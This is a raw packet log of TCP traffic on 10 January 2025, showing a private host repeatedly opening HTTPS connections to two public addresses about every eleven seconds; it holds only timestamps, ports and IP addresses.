Jan 10, 2025 15:41:05.464530945 CET	49857	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:05.464539051 CET	443	49857	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:05.464690924 CET	49857	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:05.464699030 CET	443	49857	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:05.736069918 CET	443	49857	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:05.736166000 CET	443	49857	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:05.736315966 CET	49857	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:05.736462116 CET	49857	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:05.736510992 CET	49857	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:05.736519098 CET	443	49857	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:05.806085110 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:05.806109905 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:05.807652950 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:05.807848930 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:05.808204889 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:06.060719013 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:06.062105894 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:06.062467098 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:06.062580109 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:06.063586950 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:06.063587904 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:06.414352894 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:06.415327072 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:06.415712118 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:06.416452885 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:06.416518927 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:06.416527987 CET	443	49858	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:06.416567087 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:06.416712999 CET	49858	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:16.491411924 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:16.491440058 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:16.491642952 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:16.491879940 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:16.491889000 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:16.749042034 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:16.749222994 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:16.749653101 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:16.749660969 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:16.749790907 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:16.749799013 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:17.023835897 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:17.023952961 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:17.024069071 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:17.024203062 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:17.024317980 CET	49859	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:17.024328947 CET	443	49859	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:17.046268940 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.046300888 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.046464920 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.046788931 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.046793938 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.297280073 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.297477007 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.297853947 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.297862053 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.298006058 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.298031092 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.641473055 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.641532898 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.641582966 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:17.641742945 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.642148018 CET	49860	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:17.642157078 CET	443	49860	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:27.676362991 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:27.676409960 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:27.676657915 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:27.676907063 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:27.676917076 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:27.931581020 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:27.931706905 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:27.932058096 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:27.932065010 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:27.932243109 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:27.932246923 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:28.201216936 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:28.201267004 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:28.201436043 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:28.201550961 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:28.201550961 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:28.201561928 CET	443	49861	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:28.201733112 CET	49861	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:28.223392010 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.223411083 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.223650932 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.223862886 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.223870993 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.475728989 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.475972891 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.476299047 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.476304054 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.476407051 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.476411104 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.816840887 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.816925049 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.817032099 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:28.817104101 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.817104101 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.817291021 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.817481041 CET	49862	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:28.817506075 CET	443	49862	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:38.845719099 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:38.845747948 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:38.845992088 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:38.846184969 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:38.846191883 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:39.097192049 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:39.097404957 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:39.097743034 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:39.097750902 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:39.097856045 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:39.097863913 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:39.372308016 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:39.372356892 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:39.372468948 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:39.372587919 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:39.372633934 CET	49863	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:39.372662067 CET	443	49863	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:39.395188093 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:39.395209074 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:39.395370007 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:39.395601034 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:39.395606995 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:39.651983023 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:39.652213097 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:39.652550936 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:39.652559042 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:39.652734041 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:39.652743101 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:40.004822016 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:40.005001068 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:40.005009890 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:40.005042076 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:40.005203009 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:40.005213976 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:40.005363941 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:40.005521059 CET	49864	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:40.005531073 CET	443	49864	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:50.015276909 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.015319109 CET	443	49865	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:50.015574932 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.015835047 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.015846014 CET	443	49865	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:50.267348051 CET	443	49865	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:50.267543077 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.267959118 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.267966986 CET	443	49865	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:50.268106937 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.268115044 CET	443	49865	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:50.561558008 CET	443	49865	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:50.561764002 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.561866999 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.561896086 CET	443	49865	142.250.190.78	192.168.11.30
Jan 10, 2025 15:41:50.562032938 CET	49865	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:41:50.585061073 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:50.585082054 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:50.585217953 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:50.585426092 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:50.585436106 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:50.835346937 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:50.835536003 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:50.835808039 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:50.835815907 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:50.835958958 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:50.835966110 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:51.179764032 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:51.179796934 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:51.179991961 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:51.179991961 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:51.180003881 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:51.180188894 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:51.180397987 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:51.180428028 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:51.180546045 CET	443	49866	142.250.191.225	192.168.11.30
Jan 10, 2025 15:41:51.180660009 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:41:51.180814028 CET	49866	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:01.184815884 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.184842110 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.185081959 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.185409069 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.185415983 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.435746908 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.436053038 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.436362982 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.436633110 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.438445091 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.438452959 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.438674927 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.438936949 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.439373016 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.486211061 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.705631018 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.705687046 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.705907106 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.705955982 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.706151962 CET	49868	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:01.706161022 CET	443	49868	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:01.844309092 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:01.844336987 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:01.844563961 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:01.844822884 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:01.844831944 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.098953962 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.099208117 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.099311113 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.100469112 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.100476027 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.100641966 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.100857973 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.101142883 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.142261982 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.450943947 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.451076031 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.451123953 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:02.451216936 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.451319933 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.451397896 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.451704979 CET	49869	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:02.451716900 CET	443	49869	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:12.463146925 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.463172913 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.463351965 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.463588953 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.463598013 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.715630054 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.715763092 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.716545105 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.716552973 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.716718912 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.716727018 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.997195005 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.997400999 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.997410059 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.997622013 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.997760057 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.997814894 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.997925043 CET	443	49870	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:12.998059034 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:12.998176098 CET	49870	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:13.072671890 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.072695017 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.072916031 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.073111057 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.073117018 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.323390961 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.323740005 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.324112892 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.324116945 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.324361086 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.324363947 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.678987026 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.679104090 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.679230928 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.679235935 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.679336071 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.679529905 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.679529905 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.679590940 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.679702997 CET	443	49871	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:13.679881096 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:13.679946899 CET	49871	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:23.694926977 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.694956064 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:23.696460009 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.696810007 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.696815968 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:23.946969032 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:23.948447943 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.948455095 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:23.949596882 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.950867891 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.950871944 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:23.951505899 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:23.952837944 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.953217030 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:23.994297981 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:24.216619968 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:24.216622114 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:24.218317986 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:24.218498945 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:24.218498945 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:24.218868971 CET	443	49872	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:24.220689058 CET	49872	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:24.235985994 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.236505032 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.238025904 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.238197088 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.238208055 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.491988897 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.493207932 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.493335962 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.494266033 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.494292021 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.494635105 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.496043921 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.496323109 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.538306952 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.838790894 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.838937998 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.838963032 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.838973999 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.838985920 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:24.839229107 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.839344025 CET	49873	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:24.839354992 CET	443	49873	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:34.848692894 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:34.848717928 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:34.848978996 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:34.849332094 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:34.849344969 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:35.104127884 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:35.104293108 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:35.104866028 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:35.104876041 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:35.105015993 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:35.105026007 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:35.377017975 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:35.377070904 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:35.377235889 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:35.377235889 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:35.377480984 CET	49874	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:42:35.377494097 CET	443	49874	142.250.190.78	192.168.11.30
Jan 10, 2025 15:42:35.377918005 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.377938986 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.378142118 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.378314972 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.378323078 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.629709959 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.631253958 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.631544113 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.631815910 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.632011890 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.632013083 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.967967033 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.968924046 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.968924999 CET	443	49875	142.250.191.225	192.168.11.30
Jan 10, 2025 15:42:35.969304085 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.969877005 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.969877005 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.970257998 CET	49875	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:42:35.970257998 CET	49875	443	192.168.11.30	142.250.191.225
